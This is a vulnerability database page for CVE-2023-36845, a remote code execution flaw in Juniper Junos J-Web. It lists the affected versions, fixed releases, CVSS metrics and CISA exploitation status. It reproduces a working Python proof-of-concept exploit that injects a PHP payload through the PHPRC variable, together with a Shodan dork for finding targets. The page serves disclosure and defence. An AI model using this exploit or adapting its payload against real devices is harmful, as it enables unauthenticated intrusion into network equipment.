CVE-2023-36845 : Detail

CVE-2023-36845

9.8
/
Critical
97.08%V3
Network
2023-08-17
19h17 +00:00
2025-02-13
16h56 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Junos OS: EX and SRX Series: A PHP vulnerability in J-Web allows an unauthenticated to control an important environment variable

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX Series: * All versions prior to 20.4R3-S9; * 21.1 versions 21.1R1 and later; * 21.2 versions prior to 21.2R3-S7; * 21.3 versions prior to 21.3R3-S5; * 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; * 22.2 versions prior to 22.2R3-S2; * 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; * 22.4 versions prior to 22.4R2-S1, 22.4R3; * 23.2 versions prior to 23.2R1-S1, 23.2R2.

CVE Solutions

The following software releases have been updated to resolve this specific issue: 20.4R3-S9*, 21.2R3-S7*, 21.3R3-S5, 21.4R3-S5*, 22.1R3-S4*, 22.2R3-S2, 22.3R2-S2, 22.3R3-S1*, 22.4R2-S1, 22.4R3*, 23.2R1-S1, 23.2R2*, 23.4R1*, and all subsequent releases. *Pending Publication

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-473 PHP External Variable Modification
A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability

Required action : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2023-11-12 23h00 +00:00

Action is due : 2023-11-16 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 51776

Publication date : 2024-02-01 23h00 +00:00
Author : whiteOwl
EDB Verified : No

# *************************************************************************************************** # Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC) # Description: # # This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845. # It executes the phpinfo() function on the login page of the target device, # allowing to inspect the PHP configuration. also this script has the option to save the phpinfo() # output to a file for further analysis. # # Shodan Dork: http.favicon.hash:2141724739 # Date: 2023/10/01 # Exploit Author: whiteOwl ([email protected]) # Vendor Homepage: https://whiteowl-pub.github.io # Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5, # 21.4R3-S5,22.1R3-S4,22.2R3-S2,22.3R2-S2/R3-S1,22. # 4R2-S1/R3,23.2R1-S1/R2 # Tested on: JUNOS SM804122pri 15.1X49-D170.4 # CVE : cve-2023-36845 # *************************************************************************************************** import argparse import requests banner = """ ************************************************************* * CVE-2023-36845 Vulnerability Detector & Proof of concept * * This script checks for the CVE-2023-36845 vulnerability * * and run phpinfo() on vulnerable devices. * * If you suspect a vulnerable system, please take action * * immediately to secure it. * * * * Author: whiteowl * ************************************************************* """ def send_request(url, output_file=None, verbose=False): target_url = f"{url}/?PHPRC=/dev/fd/0" data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="' headers = { 'User-Agent': 'Mozilla/5.0', } try: response = requests.post(target_url, headers=headers, data=data, stream=True) if response.status_code == 200: print("The Target Device is Vulnerable to: CVE-2023-36845") else: print("Not Vulnerable: Status Code", response.status_code) if output_file: with open(output_file, 'w', encoding='utf-8') as file: file.write(response.text) if verbose: print(f"HTTP Status Code: {response.status_code}") print("Response Headers:") for header, value in response.headers.items(): print(f"{header}: {value}") print("Response Content:") print(response.text) except requests.exceptions.RequestException as e: print(f"An error occurred: {e}") def main(): print(banner) parser = argparse.ArgumentParser(description="Custom curl-like script") parser.add_argument("-u", "--url", required=True, help="URL to send the HTTP request") parser.add_argument("-o", "--output", help="Output file to save the HTML content") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode") args = parser.parse_args() send_request(args.url, args.output, args.verbose) if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Juniper>>Junos >> Version To (excluding) 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 20.4

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.1

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.2

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.3

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 21.4

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.1

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.2

Juniper>>Junos >> Version 22.3

Juniper>>Junos >> Version 22.3

Juniper>>Junos >> Version 22.3

Juniper>>Junos >> Version 22.3

Juniper>>Junos >> Version 22.3

Juniper>>Junos >> Version 22.4

Juniper>>Junos >> Version 22.4

Juniper>>Junos >> Version 22.4

Juniper>>Junos >> Version 22.4

Juniper>>Junos >> Version 23.2

Juniper>>Srx100 >> Version -

Juniper>>Srx110 >> Version -

Juniper>>Srx1400 >> Version -

Juniper>>Srx1500 >> Version -

Juniper>>Srx210 >> Version -

Juniper>>Srx220 >> Version -

Juniper>>Srx240 >> Version -

Juniper>>Srx240h2 >> Version -

Juniper>>Srx240m >> Version -

Juniper>>Srx300 >> Version -

Juniper>>Srx320 >> Version -

Juniper>>Srx340 >> Version -

Juniper>>Srx3400 >> Version -

Juniper>>Srx345 >> Version -

Juniper>>Srx3600 >> Version -

Juniper>>Srx380 >> Version -

Juniper>>Srx4000 >> Version -

Juniper>>Srx4100 >> Version -

Juniper>>Srx4200 >> Version -

Juniper>>Srx4600 >> Version -

Juniper>>Srx5000 >> Version -

Juniper>>Srx5400 >> Version -

Juniper>>Srx550 >> Version -

Juniper>>Srx550_hm >> Version -

Juniper>>Srx550m >> Version -

Juniper>>Srx5600 >> Version -

Juniper>>Srx5800 >> Version -

Juniper>>Srx650 >> Version -

References

https://supportportal.juniper.net/JSA72300
Tags : vendor-advisory, mitigation